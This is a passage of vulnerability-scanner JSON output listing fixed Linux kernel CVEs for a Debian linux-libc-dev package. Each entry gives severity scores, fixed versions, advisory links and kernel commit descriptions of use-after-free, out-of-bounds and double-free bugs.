"https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64362" ], "PublishedDate": "2026-07-25T10:17:18.82Z", "LastModifiedDate": "2026-11-06T17:18:51.677Z" }, { "VulnerabilityID": "CVE-2026-64363", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64363", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:63ebdf765a6ad9110e97b625ac312445cccdc248ffe5188fcd959648c69efc03", "Title": "kernel: HID: appleir: fix UAF on pending key_up_timer in remove()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: appleir: fix UAF on pending key_up_timer in remove()\n\nappleir_remove() runs hid_hw_stop() before timer_delete_sync().\nhid_hw_stop() synchronously unregisters the HID input device via\nhid_disconnect() -\u003e hidinput_disconnect() -\u003e input_unregister_device(),\nwhich drops the last reference and frees the underlying input_dev when\nno userspace handle holds it open.\n\nkey_up_tick() reads appleir-\u003einput_dev and calls input_report_key() /\ninput_sync() on it. The timer is armed from appleir_raw_event() with\na HZ/8 (~125 ms) timeout on every keydown and key-repeat report. If a\nkey was pressed shortly before the device is disconnected, the timer\ncan fire after hid_hw_stop() has freed input_dev but before the\nteardown drains it.\n\nA simple reorder is not sufficient. Putting the timer drain first\nstill leaves a window where a USB URB completion (raw_event) running\nduring hid_hw_stop() can call mod_timer() and re-arm the timer, which\nthen fires after hidinput_disconnect() has freed input_dev. The same\nURB-completion window also lets raw_event() reach key_up(), key_down()\nand battery_flat() directly, all of which dereference\nappleir-\u003einput_dev.\n\nIntroduce a 'removing' flag on struct appleir, gated by the existing\nspinlock. appleir_remove() sets the flag under the lock and then\nshuts down the timer with timer_shutdown_sync(), which both drains any\nin-flight callback and permanently disables further mod_timer() calls.\nappleir_raw_event() and key_up_tick() bail out early if the flag is\nset, so no path can arm or run the timer, or dereference\nappleir-\u003einput_dev, after remove() has started tearing down.\n\nThe keyrepeat and flatbattery branches of appleir_raw_event()\npreviously called into the input layer without holding the spinlock;\ntake it now so the flag check is well-defined. This incidentally\ncloses a pre-existing read-side race on appleir-\u003ecurrent_key in the\nkeyrepeat branch.\n\nThis bug is structurally a sibling of commit 4db2af929279 (\"HID:\nappletb-kbd: fix UAF in inactivity-timer cleanup path\") and has been\npresent since the driver was introduced.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64363", "https://git.kernel.org/linus/75fe87e19d8aff81eb2c64d15d244ab8da4de945%20%287.2-rc3%29", "https://git.kernel.org/stable/c/05e3decc55d1deca9410e0eb36466651fcbe57a5", "https://git.kernel.org/stable/c/3755f6e25776b8b12ddf062f9b573f05090e4034", "https://git.kernel.org/stable/c/37a52c61d4f78153c38ae1f7491dfcc8ac828dcf", "https://git.kernel.org/stable/c/3d30a0bb0e79621ae921b487835c56198adfafa3", "https://git.kernel.org/stable/c/6b0838e86da88b1d3bff86f19761ff25af73eaca", "https://git.kernel.org/stable/c/75fe87e19d8aff81eb2c64d15d244ab8da4de945", "https://git.kernel.org/stable/c/89ef67359672bf4cd6921524e39f61648fe38c0f", "https://git.kernel.org/stable/c/b363d964ca829c1761c9f04188dfa28f90b0f2d4", "https://kernelcve.org/list/?q=CVE-2026-64363", "https://linux.oracle.com/cve/CVE-2026-64363.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64363-cff0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64363", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64363" ], "PublishedDate": "2026-07-25T10:17:18.96Z", "LastModifiedDate": "2026-11-06T17:18:51.86Z" }, { "VulnerabilityID": "CVE-2026-64364", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64364", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0243f11759caae75dd105c02cb14d76c47535e1eff816965b899569844a1e366", "Title": "kernel: HID: multitouch: fix out-of-bounds bit access on mt_io_flags", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: multitouch: fix out-of-bounds bit access on mt_io_flags\n\nmt_io_flags is a single unsigned long, but mt_process_slot(),\nmt_release_pending_palms() and mt_release_contacts() use it as a\nper-slot bitmap indexed by the slot number. That slot number is only\nbounded by td-\u003emaxcontacts, which is taken from the device's\nContactCountMaximum feature report and can be up to 255, not by\nBITS_PER_LONG.\n\nAs a result, a multitouch device that advertises a large contact count\nmakes set_bit()/clear_bit() operate past the mt_io_flags word and\ncorrupt the adjacent members of struct mt_device. The sticky-fingers\nrelease timer is the easiest way to reach this. mt_release_contacts()\nruns\n\n\tfor (i = 0; i \u003c mt-\u003enum_slots; i++)\n\t\tclear_bit(i, \u0026td-\u003emt_io_flags);\n\nwith num_slots == maxcontacts. For maxcontacts around 250 the loop\nclears the bits that overlap td-\u003eapplications.next, zeroing that list\nhead, and the list_for_each_entry() that immediately follows then\ndereferences NULL. The kernel panics from timer (softirq) context. On a\nKASAN build this shows up as a general protection fault in\nmt_release_contacts() with a null-ptr-deref at offset 0x58, which is\noffsetof(struct mt_application, num_received).\n\nThe state is reachable from an untrusted USB or Bluetooth HID\nmultitouch device; no local privileges are required.\n\nStore the per-slot active state in a separately allocated bitmap sized\nfor maxcontacts, the same pattern already used for pending_palm_slots,\nand keep only MT_IO_FLAGS_RUNNING in mt_io_flags. The two\n\"mt_io_flags \u0026 MT_IO_SLOTS_MASK\" arming checks become\nbitmap_empty(td-\u003eactive_slots, td-\u003emaxcontacts).\n\nMove MT_IO_FLAGS_RUNNING back to bit 0. It was bumped to bit 32 by the\nsame commit to leave the low byte for the slot bits; with the slot bits\ngone it fits in bit 0 again, which also keeps it within the unsigned\nlong on 32-bit.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64364", "https://access.redhat.com/security/cve/CVE-2026-64364", "https://git.kernel.org/linus/8813b0612275cc61fe9e6603d0ee019247ade6be%20%287.2-rc3%29", "https://git.kernel.org/stable/c/12e90656e330ff8bbaf2f29c535fdb8a11cc6f55", "https://git.kernel.org/stable/c/152983d87387f6a8ae72b73474cfa55fbcf1ec75", "https://git.kernel.org/stable/c/37daa8c96bd563d03150e23f094cb60703594a6d", "https://git.kernel.org/stable/c/6493ebf9489efef0105078377b973ab33d51af22", "https://git.kernel.org/stable/c/8813b0612275cc61fe9e6603d0ee019247ade6be", "https://git.kernel.org/stable/c/a6d5ce2e1a2d7bf189bde8a659d04b65f0b0725d", "https://git.kernel.org/stable/c/b5c037d6b807017e74a115288f81bc9cd5a5aab8", "https://git.kernel.org/stable/c/e24918ee67c4dc3d20d4670750e46e9b160365f4", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-t3xujjme6oww.toml", "https://linux.oracle.com/cve/CVE-2026-64364.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64364-7c96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64364", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64364" ], "PublishedDate": "2026-07-25T10:17:19.11Z", "LastModifiedDate": "2026-10-19T21:17:32.93Z" }, { "VulnerabilityID": "CVE-2026-64365", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64365", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fc42d6ea86335b0c968e2606f471be1f006c3b84f2fb5c9f3eb37fe6f689ec49", "Title": "kernel: HID: letsketch: fix UAF on inrange_timer at driver unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: letsketch: fix UAF on inrange_timer at driver unbind\n\nletsketch_driver does not provide a .remove callback, but\nletsketch_probe() arms a per-device timer:\n\n timer_setup(\u0026data-\u003einrange_timer, letsketch_inrange_timeout, 0);\n\nThe timer is re-armed from letsketch_raw_event() with a 100 ms\ntimeout on every pen-in-range report, and its callback dereferences\ndata-\u003einput_tablet to deliver a synthetic BTN_TOOL_PEN release.\n\nletsketch_data is allocated with devm_kzalloc(), and its input_dev\nfields are devm-allocated via letsketch_setup_input_tablet(). On\ndevice unbind (USB unplug or rmmod), the HID core runs its default\nteardown and devm cleanup frees both letsketch_data and the input\ndevices. Because no .remove callback exists, nothing drains the\ntimer first: if raw_event armed it within ~100 ms of the unbind,\nthe pending timer fires on freed memory. This is a UAF read of\ndata and of data-\u003einput_tablet, followed by input_report_key() /\ninput_sync() into the freed input_dev.\n\nThe same problem can occur on the probe error path: if\nhid_hw_start() enabled I/O on an always-poll-quirk device and then\nfailed, raw_event may have armed the timer before devm releases\ndata.\n\nFix by adding a .remove callback that calls hid_hw_stop() first.\nhid_hw_stop() synchronously kills the URBs that deliver raw_event(),\nso once it returns no path can re-arm the timer. timer_shutdown_sync()\nthen drains any in-flight callback and permanently disables further\nmod_timer() calls. Apply the same timer_shutdown_sync() in the probe\nerror path so the timer is guaranteed not to outlive data.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:P/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64365", "https://git.kernel.org/linus/46c8beeccd8ab2c863827254a85ea877654a3534%20%287.2-rc3%29", "https://git.kernel.org/stable/c/17f5928d7010bc9e002930326b59e60e40c09ee3", "https://git.kernel.org/stable/c/2bb6e7143cf70ed281822d26c1848b2897ac36e9", "https://git.kernel.org/stable/c/3eca1a8165b5e7996e699e9df76cb4645e184d42", "https://git.kernel.org/stable/c/46c8beeccd8ab2c863827254a85ea877654a3534", "https://git.kernel.org/stable/c/523db788c0f84612707638e266e8957ca7e3a756", "https://git.kernel.org/stable/c/df3d8aa1a9392da3de66398e7a03422463806b21", "https://kernelcve.org/list/?q=CVE-2026-64365", "https://linux.oracle.com/cve/CVE-2026-64365.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64365-6535@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64365", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64365" ], "PublishedDate": "2026-07-25T10:17:19.28Z", "LastModifiedDate": "2026-11-06T17:18:52.057Z" }, { "VulnerabilityID": "CVE-2026-64377", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64377", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a0491faebcb1b868332ca95f3d2f5866b3d3c37894fb6ec8d52b60849c0538f", "Title": "kernel: cpufreq: qcom-cpufreq-hw: Fix possible double free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: qcom-cpufreq-hw: Fix possible double free\n\nqcom_cpufreq.data is allocated with devm_kzalloc() in probe() as an\narray of per-domain data. qcom_cpufreq_hw_cpu_init() stores a pointer to\none element of this array in policy-\u003edriver_data.\n\nqcom_cpufreq_hw_cpu_exit() currently calls kfree() on policy-\u003edriver_data.\nThis is not valid because the memory is devm-managed. For the first\ndomain, this can free the devm-managed allocation while the devres entry\nis still active, leading to a possible double free when the platform\ndevice is later detached. For other domains, the pointer may refer to an\nelement inside the array rather than the allocation base.\n\nRemove the kfree(data) call and let devres release qcom_cpufreq.data.\n\nThis issue was found by a static analysis tool I am developing.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64377", "https://git.kernel.org/linus/bcb8889c4981fdde42d4fd2c29a77d510fe21da2%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0f012938f21302c08153589c1aca0283f8d6911d", "https://git.kernel.org/stable/c/28a03a3f6e6cda0b0da3b43761d175dec5d14d13", "https://git.kernel.org/stable/c/9de568ef6cdfc7912d5ea8db02843c0e4ef0c75d", "https://git.kernel.org/stable/c/bcb8889c4981fdde42d4fd2c29a77d510fe21da2", "https://git.kernel.org/stable/c/e904961332801c87355f5d11c65bb433e717c489", "https://lore.kernel.org/linux-cve-announce/2026072524-CVE-2026-64377-8fef@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64377", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64377" ], "PublishedDate": "2026-07-25T10:17:20.837Z", "LastModifiedDate": "2026-10-21T13:19:22.823Z" }, { "VulnerabilityID": "CVE-2026-64381", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64381", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bb285b8eb84c614ca96c85613c321fd5bf0f21553955dbac78997b2979025d78", "Title": "kernel: smb: client: Fix next buffer leak in receive_encrypted_standard()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: Fix next buffer leak in receive_encrypted_standard()\n\nreceive_encrypted_standard() allocates next_buffer before checking\nwhether the number of compound PDUs already reached MAX_COMPOUND. If\nthe limit check fails, the function returns immediately and the newly\nallocated next_buffer is not assigned to server-\u003esmallbuf/server-\u003ebigbuf,\nmaking it leaked.\n\nMove the MAX_COMPOUND check before allocating next_buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64381", "https://access.redhat.com/security/cve/CVE-2026-64381", "https://git.kernel.org/linus/1c6267a1d5cf4c73b656f8181b310cbbb3e4767b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/07e0ab81df1790afa35732a4e8e07ff831b29008", "https://git.kernel.org/stable/c/1c6267a1d5cf4c73b656f8181b310cbbb3e4767b", "https://git.kernel.org/stable/c/297243e365fc9fe2f8e9b7dd535a65d922cd108b", "https://git.kernel.org/stable/c/67097772df7791c53d608f04bd31c676ccf79b83", "https://git.kernel.org/stable/c/68fc0b6cc03ca58060c0f36454e169f5fe258974", "https://git.kernel.org/stable/c/9136a08dc29328edd9867f2545e73906ac9df93b", "https://git.kernel.org/stable/c/927d4805aea0a287d36dd4f826ee24d69a2afee3", "https://git.kernel.org/stable/c/94e4f672db029414b9888b5137a7559f1febf2d8", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-ptwmydjbmlm4.toml", "https://linux.oracle.com/cve/CVE-2026-64381.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072525-CVE-2026-64381-5b4a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64381", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64381" ], "PublishedDate": "2026-07-25T10:17:21.347Z", "LastModifiedDate": "2026-11-06T17:18:53.167Z" }, { "VulnerabilityID": "CVE-2026-64382", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64382", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b89a475b9dd596039a23493243757bd466940b9b66c00defeb092e59eb6229f", "Title": "kernel: smb: client: fix double-free in SMB2_open() replay", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix double-free in SMB2_open() replay\n\nA response-bearing attempt can return a replayable error and free its\nresponse buffer. If SMB2_open_init() fails before the next send, cleanup\nretains the previous buffer type and frees that response again.\n\nReset response bookkeeping before each attempt to prevent the stale free.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64382", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", 